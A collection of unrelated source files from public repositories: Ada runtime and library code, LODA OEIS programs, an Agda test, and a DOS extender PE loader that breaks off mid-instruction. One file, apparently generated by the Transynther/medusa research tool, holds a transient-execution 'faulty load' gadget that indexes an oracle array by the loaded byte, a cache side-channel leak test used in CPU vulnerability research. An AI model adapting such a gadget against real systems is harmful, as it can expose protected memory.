llvm-gcc-4.2-2.9/gcc/ada/g-tasloc.ads
vidkidz/crossbridge
1
30842
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- G N A T . T A S K _ L O C K -- -- -- -- S p e c -- -- -- -- Copyright (C) 1998-2005, AdaCore -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- Simple task lock and unlock routines -- A small package containing a task lock and unlock routines for creating -- a critical region. The lock involved is a global lock, shared by all -- tasks, and by all calls to these routines, so these routines should be -- used with care to avoid unnecessary reduction of concurrency. -- These routines may be used in a non-tasking program, and in that case -- they have no effect (they do NOT cause the tasking runtime to be loaded). package GNAT.Task_Lock is pragma Elaborate_Body; procedure Lock; pragma Inline (Lock); -- Acquires the global lock, starts the execution of a critical region -- which no other task can enter until the locking task calls Unlock procedure Unlock; pragma Inline (Unlock); -- Releases the global lock, allowing another task to successfully -- complete a Lock operation. Terminates the critical region. -- -- The recommended protocol for using these two procedures is as -- follows: -- -- Locked_Processing : begin -- Lock; -- ... -- TSL.Unlock; -- -- exception -- when others => -- Unlock; -- raise; -- end Locked_Processing; -- -- This ensures that the lock is not left set if an exception is raised -- explicitly or implicitly during the critical locked region. -- -- Note on multiple calls to Lock: It is permissible to call Lock -- more than once with no intervening Unlock from a single task, -- and the lock will not be released until the corresponding number -- of Unlock operations has been performed. For example: -- -- GNAT.Task_Lock.Lock; -- acquires lock -- GNAT.Task_Lock.Lock; -- no effect -- GNAT.Task_Lock.Lock; -- no effect -- GNAT.Task_Lock.Unlock; -- no effect -- GNAT.Task_Lock.Unlock; -- no effect -- GNAT.Task_Lock.Unlock; -- releases lock -- -- However, as previously noted, the Task_Lock facility should only -- be used for very local locks where the probability of conflict is -- low, so usually this kind of nesting is not a good idea in any case. -- In more complex locking situations, it is more appropriate to define -- an appropriate protected type to provide the required locking. -- -- It is an error to call Unlock when there has been no prior call to -- Lock. The effect of such an erroneous call is undefined, and may -- result in deadlock, or other malfunction of the run-time system. end GNAT.Task_Lock;
oeis/004/A004692.asm
neoneye/loda-programs
11
94925
<reponame>neoneye/loda-programs<filename>oeis/004/A004692.asm ; A004692: Fibonacci numbers written in base 9. ; 0,1,1,2,3,5,8,14,23,37,61,108,170,278,458,747,1316,2164,3481,5655,10246,16012,26258,43271,70540,123821,204461,328382,533853,863345,1507308,2471654,4080063,6561727,11651801,18323628,31075530,50410258,81485788,142006157,233503056,375510224,620113281,1105623515,1725736806,2832461422,4658308328,7601770751,13361180180,22063061041,35434251231,57507322272,104042573513,162551005785,266603580408,440254586304,716858276713,1257223874117,2075183261831,3343417246048,5428611517880,8773128765038 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. seq $0,7095 ; Numbers in base 9.
programs/oeis/062/A062069.asm
jmorken/loda
1
27023
<filename>programs/oeis/062/A062069.asm ; A062069: a(n) = sigma(d(n)), where d(k) is the number of divisors function (A000005) and sigma(k) is the sum of divisors function (A000203). ; 1,3,3,4,3,7,3,7,4,7,3,12,3,7,7,6,3,12,3,12,7,7,3,15,4,7,7,12,3,15,3,12,7,7,7,13,3,7,7,15,3,15,3,12,12,7,3,18,4,12,7,12,3,15,7,15,7,7,3,28,3,7,12,8,7,15,3,12,7,15,3,28,3,7,12,12,7,15,3,18,6,7,3,28,7,7,7,15,3,28,7,12,7,7,7,28,3,12,12,13,3,15,3,15,15,7,3,28,3,15,7,18,3,15,7,12,12,7,7,31,4,7,7,12,7,28,3,15,7,15,3,28,7,7,15,15,3,15,3,28,7,7,7,24,7,7,12,12,3,28,3,15,12,15,7,28,3,7,7,28,7,18,3,12,15,7,3,31,4,15,12,12,3,15,12,18,7,7,3,39,3,15,7,15,7,15,7,12,15,15,3,24,3,7,15,13,3,28,3,28,7,7,7,28,7,7,12,18,7,31,3,12,7,7,7,31,7,7,7,28,7,15,3,28,13,7,3,28,3,15,15,15,3,28,7,12,7,15,3,42,3,12,12,12,12,15,7,15,7,15 cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. cal $0,39653 ; a(0) = 0; for n > 0, a(n) = sigma(n)-1. mov $1,$0 add $1,1
kv-ref_counting_mixin.adb
davidkristola/vole
4
18650
with Ada.Unchecked_Deallocation; package body kv.Ref_Counting_Mixin is procedure Free is new Ada.Unchecked_Deallocation(Data_Type, Data_Access); procedure Free is new Ada.Unchecked_Deallocation(Control_Type, Control_Access); ----------------------------------------------------------------------------- procedure Initialize(Self : in out Ref_Type) is begin Self.Control := new Control_Type; Self.Control.Data := new Data_Type; Self.Control.Count := 1; end Initialize; ----------------------------------------------------------------------------- procedure Adjust(Self : in out Ref_Type) is Control : Control_Access := Self.Control; begin if Control /= null then Control.Count := Control.Count + 1; end if; end Adjust; ----------------------------------------------------------------------------- procedure Finalize(Self : in out Ref_Type) is Control : Control_Access := Self.Control; begin Self.Control := null; if Control /= null then Control.Count := Control.Count - 1; if Control.Count = 0 then Free(Control.Data); Free(Control); end if; end if; end Finalize; ----------------------------------------------------------------------------- procedure Set(Self : in out Ref_Type; Data : in Data_Access) is begin Self.Control.Data := Data; end Set; ----------------------------------------------------------------------------- function Get(Self : Ref_Type) return Data_Access is begin return Self.Control.Data; end Get; end kv.Ref_Counting_Mixin;
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1937.asm
ljhsiun2/medusa
9
89848
<filename>Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1937.asm .global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1513e, %r9 nop nop and %r8, %r8 mov $0x6162636465666768, %r11 movq %r11, (%r9) nop nop nop xor $59653, %r13 lea addresses_UC_ht+0x853e, %rsi lea addresses_normal_ht+0x198fe, %rdi nop nop cmp %rbx, %rbx mov $102, %rcx rep movsw add $9518, %rsi lea addresses_WT_ht+0x1951e, %r9 mfence mov $0x6162636465666768, %r11 movq %r11, %xmm0 movups %xmm0, (%r9) cmp %rsi, %rsi lea addresses_WC_ht+0x1d33e, %r8 nop nop sub $57549, %r13 mov (%r8), %ecx nop nop nop nop nop xor %rbx, %rbx lea addresses_WT_ht+0xf13e, %rsi lea addresses_UC_ht+0x1a3ee, %rdi nop nop nop add %r13, %r13 mov $31, %rcx rep movsq dec %r8 lea addresses_D_ht+0x1573e, %rsi lea addresses_normal_ht+0x1527e, %rdi nop nop nop sub $54120, %r9 mov $27, %rcx rep movsq nop nop dec %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rax push %rdi push %rdx // Store lea addresses_UC+0x791e, %rax nop nop nop nop cmp $58963, %r12 mov $0x5152535455565758, %r11 movq %r11, %xmm1 vmovups %ymm1, (%rax) nop nop nop nop inc %r14 // Faulty Load lea addresses_PSE+0x713e, %r15 nop nop sub $31915, %rdi movb (%r15), %r12b lea oracles, %rax and $0xff, %r12 shlq $12, %r12 mov (%rax,%r12,1), %r12 pop %rdx pop %rdi pop %rax pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
tools/css-analysis-rules-types.adb
stcarrez/ada-css
3
5487
<filename>tools/css-analysis-rules-types.adb ----------------------------------------------------------------------- -- css-analysis-rules-types -- Rules for CSS pre-defined value types -- Copyright (C) 2017 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- package body CSS.Analysis.Rules.Types is use CSS.Core.Values; -- ------------------------------ -- Print the rule definition to the print stream. -- ------------------------------ procedure Print (Rule : in Builtin_Rule_Type; Stream : in out CSS.Printer.File_Type'Class) is begin Stream.Print (Ada.Strings.Unbounded.To_String (Rule.Name)); end Print; -- ------------------------------ -- Check if the value represents an integer without unit. -- ------------------------------ overriding function Match (Rule : in Integer_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_NUMBER and Get_Unit (Value) = UNIT_NONE; end Match; -- ------------------------------ -- Check if the value represents a number or integer without unit. -- ------------------------------ overriding function Match (Rule : in Number_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_NUMBER and Get_Unit (Value) = UNIT_NONE; end Match; -- ------------------------------ -- Check if the value represents a percentage. -- ------------------------------ overriding function Match (Rule : in Percentage_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_NUMBER and Get_Unit (Value) = UNIT_NONE; end Match; -- ------------------------------ -- Check if the value represents a length. -- ------------------------------ overriding function Match (Rule : in Length_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin if Get_Type (Value) /= VALUE_NUMBER then return False; end if; if Get_Unit (Value) in Length_Unit_Type then return True; end if; if Get_Unit (Value) /= UNIT_NONE then return False; end if; return Get_Value (Value) = "0"; end Match; -- ------------------------------ -- Check if the value represents a time. -- ------------------------------ overriding function Match (Rule : in Time_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_NUMBER and Get_Unit (Value) in Time_Unit_Type; end Match; -- ------------------------------ -- Check if the value represents a resolution. -- ------------------------------ overriding function Match (Rule : in Resolution_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_NUMBER and Get_Unit (Value) = UNIT_PI; end Match; -- ------------------------------ -- Check if the value represents an angle. -- ------------------------------ overriding function Match (Rule : in Angle_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_NUMBER and Get_Unit (Value) in Angle_Unit_Type; end Match; -- ------------------------------ -- Check if the value represents a string. -- ------------------------------ overriding function Match (Rule : in String_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_STRING; end Match; -- ------------------------------ -- Check if the value represents a url. -- ------------------------------ overriding function Match (Rule : in URL_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_URL; end Match; -- ------------------------------ -- Check if the value represents an hexadecimal color. -- ------------------------------ overriding function Match (Rule : in Color_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_COLOR; end Match; -- ------------------------------ -- Check if the value represents a custom identifier. -- ------------------------------ overriding function Match (Rule : in Identifier_Rule_Type; Value : in CSS.Core.Values.Value_Type) return Boolean is pragma Unreferenced (Rule); begin return Get_Type (Value) = VALUE_IDENT; end Match; -- ------------------------------ -- Register the builtin type in the repository. -- ------------------------------ procedure Register_Builtin (Repository : in out Repository_Type; Name : in String; Rule : in Builtin_Rule_Type_Access; Kind : in CSS.Core.Values.Value_Kind) is begin Rule.Name := Ada.Strings.Unbounded.To_Unbounded_String (Name); Repository.Types.Insert (Name, Rule.all'Access); end Register_Builtin; Int_Rule : aliased Types.Integer_Rule_Type; Percent_Rule : aliased Types.Percentage_Rule_Type; Length_Rule : aliased Types.Length_Rule_Type; Number_Rule : aliased Types.Number_Rule_Type; Angle_Rule : aliased Types.Angle_Rule_Type; String_Rule : aliased Types.String_Rule_Type; URL_Rule : aliased Types.URL_Rule_Type; Color_Rule : aliased Types.Color_Rule_Type; Ident_Rule : aliased Types.Identifier_Rule_Type; Resolution_Rule : aliased Types.Resolution_Rule_Type; Time_Rule : aliased Types.Time_Rule_Type; procedure Register (Repository : in out Repository_Type) is begin Register_Builtin (Repository, "<angle>", Angle_Rule'Access, VALUE_NUMBER); Register_Builtin (Repository, "<integer>", Int_Rule'Access, VALUE_NUMBER); Register_Builtin (Repository, "<number>", Number_Rule'Access, VALUE_NUMBER); Register_Builtin (Repository, "<length>", Length_Rule'Access, VALUE_NUMBER); Register_Builtin (Repository, "<percentage>", Percent_Rule'Access, VALUE_NUMBER); Register_Builtin (Repository, "<string>", String_Rule'Access, VALUE_STRING); Register_Builtin (Repository, "<url>", URL_Rule'Access, VALUE_URL); Register_Builtin (Repository, "<hex-color>", Color_Rule'Access, VALUE_COLOR); Register_Builtin (Repository, "<custom-ident>", Ident_Rule'Access, VALUE_IDENT); Register_Builtin (Repository, "<resolution>", Resolution_Rule'Access, VALUE_NUMBER); Register_Builtin (Repository, "<time>", Time_Rule'Access, VALUE_NUMBER); end Register; end CSS.Analysis.Rules.Types;
test/Succeed/Issue4944.agda
shlevy/agda
0
773
<reponame>shlevy/agda -- Andreas, 2020-09-26, issue #4944. -- Size solver got stuck on projected variables which are left over -- in some size constraints by the generalization feature. -- {-# OPTIONS --sized-types #-} -- {-# OPTIONS --show-implicit #-} -- {-# OPTIONS -v tc.conv.size:60 -v tc.size:30 -v tc.meta.assign:10 #-} open import Agda.Builtin.Size variable i : Size postulate A : Set data ListA (i : Size) : Set where nil : ListA i cons : (j : Size< i) (t : A) (as : ListA j) → ListA i postulate node : A → ListA ∞ → A R : (i : Size) (as as′ : ListA i) → Set test : -- {i : Size} -- made error vanish (t u : A) (as : ListA i) → R (↑ (↑ i)) (cons (↑ i) t (cons i u as)) (cons _ (node t (cons _ u nil)) as) variable t u : A as : ListA i postulate tst2 : R _ (cons _ t (cons _ u as)) (cons _ (node t (cons _ u nil)) as) -- Should pass.
src/pe/loadpe.asm
amindlost/wdosx
7
90286
; ############################################################################ ; ## WDOSX DOS Extender Copyright (c) 1996, 2002, <NAME> ## ; ## ## ; ## Released under the terms of the WDOSX license agreement. ## ; ############################################################################ ; ; $Header: E:/RCS/WDOSX/0.95/SRC/PE/loadpe.asm 1.9 2002/02/05 19:58:38 MikeT Exp MikeT $ ; ; ---------------------------------------------------------------------------- ; ; $Log: loadpe.asm $ ; Revision 1.9 2002/02/05 19:58:38 MikeT ; Final adjustment to the XP workaround: Take care of difficult stack condition ; ; Revision 1.8 2002/01/31 20:31:06 MikeT ; Slight correction of the XP workaround. ; ; Revision 1.7 2002/01/31 19:40:12 MikeT ; Fix crash under XP. ; ; Revision 1.6 1999/02/13 14:19:25 MikeT ; Removed INT21 FFFF blocking code. The kernel itself will now return an ; error if this function is being used inappropriately. It is not the ; responsibility of run time code to educate the programmer. ; ; Revision 1.5 1999/02/13 12:34:46 MikeT ; Add support for PEs that do just RET to terminate. ; ; Revision 1.4 1999/02/06 17:12:26 MikeT ; Updated copyright + some cosmetics. ; ; Revision 1.3 1998/08/23 14:25:01 MikeT ; Fix # sections ; ; Revision 1.2 1998/08/03 02:41:25 MikeT ; Fix for zero sized .reloc ; ; Revision 1.1 1998/08/03 02:35:19 MikeT ; Initial check in ; ; ; ---------------------------------------------------------------------------- ; ############################################################################ ; ## loadpe.asm - load a PE without Win32 API, relocate and execute it ## ; ############################################################################ ; ; TASM is so braindamaged that it thinks LAR was a privileged instruction, ; therefore the "p". ; .386p CODE SEGMENT USE32 ASSUME cs:CODE, ds:CODE ;----------------------------------------------------------------------------- ; Reusing loader code space for later parameter storage. Admittedly a hack. ; hKernel dd ? ; hModule of kernel32.wdl isDebugger dd ? ; only low byte counts pspSelector dd ? ; ...guess! flatSelector dd ? ; main program's CS envCnt dd ? ; number of environment strings entryPoint dd ? ; Entry RVA envStart dd ? ; -> start of env[] hModule dd ? ; linear base of PE image commandLine db 80h dup (?) ; command tail copy argv dd ? ; start of argv[] pOffset dd ? ; offset of path name in environment ORG 0 ;----------------------------------------------------------------------------- ; Signature. This indicates that the loader supports WFSE loading of the ; main executable. If this signature doesn't exist, any compressor should ; refuse to compress the main executable. ; WfseSig db '$LDR' ; ; In future versions there might be some sort of an info structure following ; the signature. To allow for this to be compatible with the current version ; we store a "0" dword that normally would indicate the version number of the ; header. ; dd 0 ;----------------------------------------------------------------------------- ; Loader entry point ; start: ; ; Enable virtual interrupts ; mov ax, 0901h int 31h ; ; Save PSP selector and set ES = DS ; mov pspSelector, es push ds pop es ; ; Fixup zero base descriptors according to CPL and detect debugger presence ; mov eax, cs lsl edx, eax cmp edx, esp setc BYTE PTR [OFFSET isDebugger] lar eax, eax and eax, 0FF00h or DWORD PTR [OFFSET codeDescriptor+4], eax mov eax, ds lar eax, eax and eax, 0FF00h or DWORD PTR [OFFSET dataDescriptor+4], eax ; ; Save DS ; ; mov myDs, ds ; ; Allocate two new descriptors ; push OFFSET strDescriptor sub eax, eax mov cx, 2 int 31h jc stringErrorExit mov ebx, eax mov flatSelector, eax ; ; Set allocated descriptors to base 0, limit 4G ; mov ax, 0Ch mov edi, OFFSET codeDescriptor int 31h jc stringErrorExit add ebx, 8 mov edi, OFFSET dataDescriptor int 31h jc stringErrorExit mov gs, ebx ; MikeT - XP workaround ; ; check Wfse ; call checkWfse cmp haveWfse, 1 jne isLegacy ; ; If Wfse present, try to open the main file by WFSE ; mov edx, OFFSET wfseName mov eax, 3D00FFFDh int 21h setnc haveWfse ; ; Get executable file name, count number of environment strings ; isLegacy: mov DWORD PTR [esp], OFFSET strFile push eax mov ds, pspSelector ASSUME ds:NOTHING mov es, ds:[2Ch] mov ds, ds:[2Ch] sub edi, edi or ecx, -1 sub eax, eax sub ebx, ebx cld @@nextEnv: inc ebx repne scasb scasb jne short @@nextEnv pop eax lea edx, [edi+2] cmp cs:haveWfse, 1 jz fileOpen mov ax, 3D00h int 21h fileOpen: push ss pop ds ASSUME ds:CODE jc stringErrorExit ; ; Store the information we already gathered during environment scan ; mov envCnt, ebx mov pOffset, edx mov ebx, eax ; EBX = file handle pop eax ; Stack cleanup mov eax, es call getSelectorBase add eax, edx mov argv, eax ; ; Set ES back to our segment. ; push ds pop es ; ; Skip both, the WDosX kernel and this executable loader in executable image. ; Do this only if not WFSE loading as with WFSE we start at the beginning of ; the image anyway. ; sub edx, edx cmp haveWfse, 1 jz FilePointerSet call skipMZexe call skipMZexe FilePointerSet: ; ; Now, supposedly the file pointer is at the start of the user executable. ; mov ebp, edx ; save file pointer mov ecx, 64 sub esp, 68h ; alloc temp storage mov edx, esp mov ah, 3Fh call wfseHandler jc loadFileError cmp eax, ecx jne loadFileError ; ; Check for MZ .EXE signature ; cmp word ptr [esp],'ZM' jnz loadFileError ; ; Get offset to PE header and load first 54h bytes there ; mov edx, [esp+60] lea edi, [edx+24] ; First chunk to load into real ; memory sub edx, 64 jz short loadFileAtPE shld ecx, edx, 16 mov eax, 4201h call wfseHandler jc loadFileError loadFileAtPE: mov ecx, 68h mov edx, esp mov ah, 3Fh call wfseHandler jc loadFileError cmp eax, ecx jne loadFileError ; ; Verify whether the image pretends to be a PE or not ; cmp DWORD PTR [esp],'EP' jnz loadFileError ; ; Get the size of memory needed to load all of the image ; mov edx, [esp+50h] add edx, 0FFFh and edx, 0FFFFF000h ; ; Add stack size (StackCommit) ; mov edi, [esp+64h] add edi, 0FFFh and di, 0F000h add edx, edi ; ; Add Env[] size ; mov ecx, envCnt lea edi, [edi+ecx*4+0FFFh] and di, 0F000h lea esi, [esp+0FFFh] ; esi = hModule from now on and si, 0F000h ; ; Try to allocate a memory block ; add edx, edi add edx, esi push OFFSET strMemory mov ax, -1 int 21h jc stringErrorExit ; ; Some poor programs require the memory to be zeroed out ; push edi sub eax, eax lea ecx, [edx - 1000h] sub ecx, esi lea edi, [esi+1000h] shr ecx, 2 rep stosd pop edi mov esp, edx sub edx, edi mov envStart, edx ; ; lSeek back to the start of the image ; mov edx, ebp shld ecx, edx, 16 mov eax, 4200h call wfseHandler jc loadFileError ; ; Load first portion of image ; mov edx, esi mov ecx, 64 mov ah, 3Fh call wfseHandler jc loadFileError cmp eax, ecx jne loadFileError add edx, ecx sub ecx, [esi+60] neg ecx add ecx, 24 mov ah, 3Fh call wfseHandler jc loadFileError cmp eax, ecx jne loadFileError ; ; Get the not-so-optional header size and load the thing ; lea edx, [edx+ecx] movzx ecx, word ptr [edx-4] mov ah, 3Fh call wfseHandler jc loadFileError cmp eax, ecx jne loadFileError ; ; Load section table ; mov ecx, [esi + 60] movzx ecx, BYTE PTR [esi + ecx + 6] ; Get # of sections add edx, eax ; set pointer where to store imul ecx, 28h ; size of section headers mov ah, 3Fh call wfseHandler jc loadFileError cmp eax, ecx jne loadFileError mov edi, edx ; ; ESI = hModule (RVA = 0) ; EDI -> Image Section Header ; ; Now clear to load all these sections into memory ; ; add ecx, edx ; ecx = end push ecx loadImageSection: cmp edi, [esp] jnc loadFileDone ; ; Check first letter of section name, done if zero ; cmp byte ptr [edi], 0 jz short loadFileDone ; ; Get virtual size ; mov eax, [edi+8] or eax, [edi+16] jz short loadNextSection ; nothing to load? mov edx, [edi+20] ; Get file offset test edx, edx jz short loadNextSection ; nothing to load? add edx, ebp ; Adjust file offset shld ecx, edx, 16 mov eax, 4200h call wfseHandler jc loadFileError mov edx, [edi+12] ; Get RVA mov ecx, [edi+16] ; Get size add edx, esi ; RVA -> offset mov ah, 3Fh call wfseHandler jc loadFileError cmp eax, ecx jne loadFileError loadNextSection: add edi, 40 jmp short loadImageSection loadFileError: push OFFSET strFile jmp stringErrorExit loadFileDone: pop eax ; clean stack ; ; Now that we have loaded all of the file we can close it. ; mov ah, 3Eh call wfseHandler ; ; Prepare run in true flat ; mov eax, cs call getSelectorBase mov ebp, eax add eax, esi mov hModule, eax mov eax, [esi+60] mov edi, [eax+esi+80h] mov eax, [eax+esi+28h] add eax, esi add eax, ebp mov entryPoint, eax mov hKernel, 0 test edi, edi je noWinAPI test DWORD PTR [edi+esi+12], -1 je noWinAPI ; ; If the user program contains references to the Win32 API, we invoke ; kernel32.wdl ; call loadKernel mov hKernel, eax ; MikeT - XP workaround begin ; sub eax, ebp ; mov esi, [eax+60] ; mov esi, [eax+esi+28h] mov esi, gs:[eax+60] mov esi, gs:[eax+esi+28h] add esi, eax ; add esi, ebp ; MikeT - XP workaround end mov entryPoint, esi noWinAPI: ; ; Set a new INT 21 - handler to avoid FFFF calling. ; ; mov bl, 21h ; mov ax, 204h ; int 31h ; mov old21Ofs, edx ; mov old21Sel, ecx ; mov ecx, cs ; mov edx, OFFSET newInt21 ; inc eax ; int 31h ; ; Create command line and env[] array ; mov ds, pspSelector mov esi, 80h mov edi, OFFSET commandLine mov ecx, 20h rep movsd push ss pop ds mov edi, OFFSET argv+4 ; point to argv[1] mov cl, BYTE PTR [OFFSET commandLine] mov esi, OFFSET commandLine+1 push 1 ; argc jecxz @@cmdDone sub ah, ah ; indicate last = ctl char @@cmdLineLoop: lodsb cmp al, 21h jc short @@ctlChar cmp ah, 21h jnc short @@cmdNext lea ebx, [esi+ebp-1] mov [edi], ebx add edi, 4 inc DWORD PTR [esp] jmp short @@cmdNext @@ctlChar: mov BYTE PTR [esi-1], 0 @@cmdNext: mov ah, al loop short @@cmdLineLoop @@cmdDone: mov BYTE PTR [esi], 0 mov DWORD PTR [edi], 0 mov es, 